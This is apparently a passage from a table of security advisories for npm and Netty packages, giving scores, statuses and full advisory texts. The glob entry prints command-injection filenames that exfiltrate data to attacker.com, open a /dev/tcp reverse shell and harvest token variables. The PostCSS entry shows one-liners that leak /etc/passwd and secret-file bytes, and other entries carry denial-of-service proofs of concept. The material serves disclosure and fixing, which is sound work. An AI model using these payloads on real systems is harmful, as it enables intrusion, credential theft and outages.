10K-key limit should be okay in most cases. | |
| 7.5CVSS 4.0 | GHSA-587h-7wmj-h5pm
CVE-2026-112942 |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename. Combined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument. ### Impact Only apps that runs on Windows is affected. ### Details The earlier advisory assumed that `fs.existsSync()` required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement. A crafted value ending in `\\..:1:1` is interpreted differently by `launch-editor-middleware`, `launch-editor`, and Windows: 1. `launch-editor-middleware` calls `path.resolve()` while the final path component is `..:1:1`, so it is not treated as a parent-directory component. 2. `launch-editor` treats `:1:1` as a line-and-column suffix and removes it, leaving a path ending in `\\..`. 3. On Windows, `fs.existsSync()` accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist. 4. Because the existence check passes, the crafted filename reaches the Windows shell command. | |
| 7.5CVSS 3.1 | GHSA-5j98-mcp5-4vw2
CVE-2025-64756 |
False positive | 2025-11-17 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0and 10.5.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ### Remediation - Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results. | |
| 7.5CVSS 3.1 | GHSA-5m6q-g25r-mvwx
CVE-2026-33891 |
Resolved | 2026-03-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library ## Vulnerability Details Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage) ## Root Cause Analysis The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: ```js javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 } ``` ## Attack Scenario Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include: DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse(). A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive. ## Proof of Concept Environment Setup ```bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge ``` Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. ```bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge # Save the script below as poc.js, then run: node poc.js ``` ```javascript 'use strict'; const { spawnSync } = require('child_process'); const childCode = ` const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); `; console.log('[*] Testing: BigInteger(0).modInverse(3)'); console.log('[*] Expected: throw an error or return quickly'); console.log('[*] Spawning child process with 5s timeout...'); console.log(); const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, }); if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); } if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); } if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); } console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); ``` Expected Output ``` [*] Testing: BigInteger(0).modInverse(3) [*] Expected: throw an error or return quickly [*] Spawning child process with 5s timeout... [VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On ``` node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows ## Impact Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected. ## Suggested Fix Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: ```javascript function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } ``` Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException). | |
| 7.5CVSS 3.1 | GHSA-5p4m-2wfm-xmqj | Not affected | 2026-08-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | # Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x) ## Summary `resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML. `!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required. **This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation. ## Affected versions | Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) | Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue. ## Details `lib/type/omap.js` (js-yaml 4.3.0): ```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ``` `objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration. The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`): ```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ``` ## Proof of concept ```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n'; for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ``` ### Measured (node v20.20.2, default heap, no flags) **js-yaml 4.3.0** ``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ``` **js-yaml 3.15.0** ``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ``` Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×). Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**. ## Impact Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request. Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required. ## Suggested fix Mirror the 5.x fix — replace the linear scan with a `Set`: ```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ``` This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option. ## References - CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema ## Discovery Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned. | |
| 7.5CVSS 3.1 | GHSA-5w86-c3rq-vjj7
CVE-2026-50011 |
Resolved | 2026-06-15 | 5.6 ×25.5 ×185.4 ×12 | ### Summary RedisArrayAggregator pre-allocates ArrayList with initial capacity equal to the RESP array element count declared in an array header. That count is taken from the wire before the corresponding child messages exist. A small malicious header can claim a huge initial capacity. ### Details The aggregator starts a new aggregation level when it receives an ArrayHeaderRedisMessage. For positive lengths it pushes AggregateState, whose constructor runs `new ArrayList<>(length)`. No configurable maximum is applied in this handler, and the peer does not need to supply the array elements for the backing array allocation to occur. In the same pipeline, RedisDecoder enforces RedisConstants.REDIS_MESSAGE_MAX_LENGTH for bulk string lengths but does not apply that cap to array header lengths. Declared array sizes can therefore be extremely large while still passing decoding, and the aggregator immediately attempts Object[] reservation. io.netty.handler.codec.redis.RedisDecoder#decodeLength io.netty.handler.codec.redis.RedisArrayAggregator#decodeRedisArrayHeader ### Impact Availability / resource exhaustion via unbounded pre-allocation from untrusted RESP array headers. | |
| 7.5CVSS 3.1 | GHSA-6g55-p6wh-862q
CVE-2026-45623 |
Not affected | 2026-07-23 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary PostCSS's `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no `from`, no `map`, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). ## Details The dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`. `Input` constructor (`lib/input.js:70-77`): ```js if (pathAvailable && sourceMapAvailable) { let map = new PreviousMap(this.css, opts) if (map.text) { this.map = map let file = map.consumer().file if (!this.file && file) this.file = this.mapResolve(file) } } ``` `PreviousMap` constructor (`lib/previous-map.js:17-29`): ```js constructor(css, opts) { if (opts.map === false) return this.loadAnnotation(css) this.inline = this.startWith(this.annotation, 'data:') let prev = opts.map ? opts.map.prev : undefined let text = this.loadMap(opts.from, prev) ... } ``` Note `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor — including the filesystem read — executes. `loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**: ```js loadAnnotation(css) { let comments = css.match(/\/\*\s*# sourceMappingURL=/g) if (!comments) return let start = css.lastIndexOf(comments.pop()) let end = css.indexOf('*/', start) if (start > -1 && end > -1) { this.annotation = this.getAnnotationURL(css.substring(start, end)) } } ``` `getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace — no scheme check, no path normalisation, no allowlist. `loadMap` (`lib/previous-map.js:124-128`) — when `prev` is absent and the annotation is not an inline `data:` URI: ```js } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) return this.loadFile(map) } ``` * If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly. * If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory. `loadFile` (`lib/previous-map.js:86-92`) is the sink: ```js loadFile(path) { this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } ``` The bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8's `SyntaxError` message embeds the first ~10 bytes of the file content: ``` Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker. Trust-boundary analysis: * Attacker controls: CSS input passed to `postcss().process(css, opts?)`. * Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc. * No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, 'data:')`) routes inline URIs to `decodeInline`; everything else hits `loadFile`. Primitives obtained: * (a) **Arbitrary file read** — bytes loaded into Node memory. * (b) **Information disclosure** — first ~10 bytes leaked via `JSON.parse` `SyntaxError` message. * (c) **File-existence oracle** — non-existent paths return silently from `loadFile` (`existsSync` is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states. * (d) **DoS primitive** — directing the read at `/dev/zero`, very large files, or device files can stall or crash the process. ## PoC All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0. **Vector 1 — Absolute path, default options (no `from`, no `map`):** ```bash $ node -e 'const p=require("postcss"); \ try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \ catch(e){console.log(e.message)}' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` The first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked. **Vector 2 — Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):** ```bash $ node -e 'const p=require("postcss"); \ p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \ {from:"/var/www/html/styles/main.css", map:{inline:false}}) \ .catch(e=>console.log(e.message))' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` `path.join('/var/www/html/styles', '../../../../../etc/passwd')` resolves to `/etc/passwd`. **Vector 3 — File-existence oracle:** ```bash # Existing non-JSON file → throws (file confirmed to exist) $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")' SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON # Non-existent file → returns silently (file confirmed absent) $ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")' ok ``` **Vector 4 — Custom file-content leak:** ```bash $ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1 SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON ``` The first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix. **Filesystem-call trace** (proves the read happens with no opts at all): ```js const fs = require('fs'); const orig = fs.readFileSync; fs.readFileSync = function(p){ if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p); return orig.apply(this, arguments); }; require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */'); // → [FILE READ]: /etc/hostname // → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON ``` ## Impact * **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. * **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk…`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri…` from `/etc/hostname`). * **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. * **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes — `readFileSync` is a synchronous, unbounded read. * **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`. ## Recommended Fix The root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes: 1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth): ```js // lib/previous-map.js loadMap(file, prev) { if (prev === false) return false if (prev) { /* unchanged */ } else if (this.inline) { return this.decodeInline(this.annotation) } else if (this.annotation) { let annotation = this.annotation // Reject schemes (other than data:, handled above) and absolute paths. if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return if (require('path').isAbsolute(annotation)) return if (!file) return // No base path → cannot safely resolve. const base = require('path').resolve(require('path').dirname(file)) const resolved = require('path').resolve(base, annotation) // Refuse anything that escapes the base directory. if (resolved !== base && !resolved.startsWith(base + require('path').sep)) { return } return this.loadFile(resolved) } } ``` 2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted. A user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users. | |
| 7.5CVSS 3.1 | GHSA-6ghj-frrj-jjj3
CVE-2026-44890 |
Resolved | 2026-06-08 | 5.6 ×25.5 ×185.4 ×12 | ### Summary An attacker can cause DoS by sending crafted Redis payloads across multiple connections without `\r\n`. This exhausts the server's direct memory pool (OutOfDirectMemoryError), preventing legitimate connections from being processed. ### Details io.netty.handler.codec.redis.RedisDecoder decodes the length of bulk strings and array headers using the `decodeLength` method. This method reads bytes from the network until it encounters a `\n` character. However, it does not enforce any maximum length check while buffering the bytes if the `\n` character is not found. An attacker can exploit this by sending a continuous stream of digits (e.g., `$1111...`) without ever sending a `\n`. To cause a true Denial of Service, an attacker must open multiple concurrent connections and distribute the unbounded payloads among them. According to the RESP specification (https://redis.io/docs/latest/develop/reference/protocol-spec/), all parts of the protocol are strictly terminated with `\r\n`. Furthermore, the length prefix itself is an integer representation that must fit within standard numeric limits (e.g., a 64-bit signed integer). Therefore, a stream of digits exceeding these bounds without `\r\n` is a protocol violation and should be rejected immediately rather than buffered indefinitely. ### Impact Denial of Service due to memory exhaustion. Any application using Netty's RedisDecoder to handle untrusted Redis traffic is vulnerable. | |
| 7.5CVSS 3.1 | GHSA-6j4f-fj2g-mc7p
CVE-2026-102276 |
Resolved | 2026-09-29 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `parseCommaParts()` can exhaust the native stack and crash the process. There are two distinct ways to trigger it, both reachable from a single untrusted pattern string. This is the parsing-side counterpart to CVE-2026-14257 / GHSA-mh99-v99m-4gvg. That fix made `expand_()` iterative and documented a constant-stack-depth guarantee, but `parseCommaParts()` was left recursive, so the guarantee only held for one of the two parsing paths. ### Vector 1 - unbounded recursion on `post` `parseCommaParts()` recursed on the remainder of the string once per brace group: ```js const postParts = parseCommaParts(post) // unbounded ``` A brace group containing many comma-separated groups drives one recursion level per group: ```js expand('{' + '{a},'.repeat(7000) + 'b}') // RangeError: Maximum call stack size exceeded ``` About 7,300 repetitions - roughly 29 KB of input - is enough on Node 24; roughly 6,300 (25 KB) on Node 18. The threshold is identical on every affected release line. ### Vector 2 - `push.apply` with an unbounded array Even with the recursion removed, `parseCommaParts()` spread whole arrays into an argument list: ```js p.push.apply(p, postParts) parts.push.apply(parts, p) ``` `Function.prototype.apply` places one argument per element on the stack, so a single large array overflows it. This needs **no recursion depth at all** - the following reaches a recursion depth of exactly 1: ```js expand('{{x},' + 'a,'.repeat(125000) + 'b}') // RangeError: Maximum call stack size exceeded ``` Threshold is about 124,300 repetitions (~249 KB). This vector was not part of the original report; it was found while verifying the fix. A patch that only de-recurses but keeps `push.apply` leaves a working denial of service behind. ### Why `max` and `maxLength` do not help Both crashes happen during **parsing**, before any expansion. The payloads produce one result per group, so output size grows linearly with input and is never the limiter. `expand(payload, { max: 1, maxLength: 1 })` still overflows. ### Impact Any application that passes an untrusted string to `expand()` - directly, or through `minimatch` / `glob` where it is a user-supplied glob pattern - can be crashed. In Node, a `RangeError` that the application does not catch terminates the process, so a server that globs user input is exposed to remote unauthenticated denial of service. `minimatch`'s own `MAX_PATTERN_LENGTH` cap (65,536) does not help against vector 1: the overflow threshold sits well below it. Confirmed on minimatch 10.2.6 - a 64,003-byte pattern passes the length check and overflows both `minimatch.braceExpand()` and `new minimatch.Minimatch()`. This is an availability-only issue. No code execution and no data exposure. ### Not a regression 5.0.8 and 5.0.9 overflow at the same repetition count, so the gap predates the recent advisories; those fixes simply did not reach it. Verified affected on 1.1.18, 2.1.4, 3.0.6, 5.0.8 and 5.0.9, all at an identical threshold. ### Patch `parseCommaParts()` is rewritten as a loop that carries the partial part across chunks, and every array append uses an element-by-element loop rather than `push.apply`. The redundant `if (!str) return ['']` guard is dropped - the loop returns `['']` for the empty string on its own. Equivalence of the old and new implementations was checked by differential testing: exhaustive over every string of `{`, `}`, `,`, `a` up to length 7 plus 300,000 random inputs - 322,000 cases, zero mismatches. ### Severity note Scored 7.5 High under CVSS 3.1 for consistency with the other availability advisories on this package (GHSA-mh99-v99m-4gvg, GHSA-rgw5-rvv9-x895), which use the same vector. The reporter self-assessed 6.9 Medium under CVSS 4.0 (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`). ### Credit Reported by baeseungwon1010, with a working proof of concept and a proposed patch. Vector 2 was identified during maintainer verification. | |
| 7.5CVSS 3.1 | GHSA-6jqx-86gh-f27w
CVE-2026-55831 |
Resolved | 2026-07-22 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame` without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work. ### Details Inbound SPDY bytes enter `SpdyFrameCodec.decode()` and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only `length >= 4`. For SETTINGS payloads, it reads the peer-controlled `numSettings` field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into `spdySettingsFrame.setValue()`. The sink is `DefaultSpdySettingsFrame`: it backs settings with a `TreeMap`, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new `Setting` for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site. ### PoC [poc.zip](https://github.com/user-attachments/files/28445737/poc.zip) run with ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144 ``` The `NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED` line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The `wire_bytes=2097164`, `first_value=1`, and `last_value=262144` fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized. ### Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing `SpdyFrameCodec` can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of `4 + numSettings * 8`, and IDs within the accepted 24-bit range; the verified PoC uses 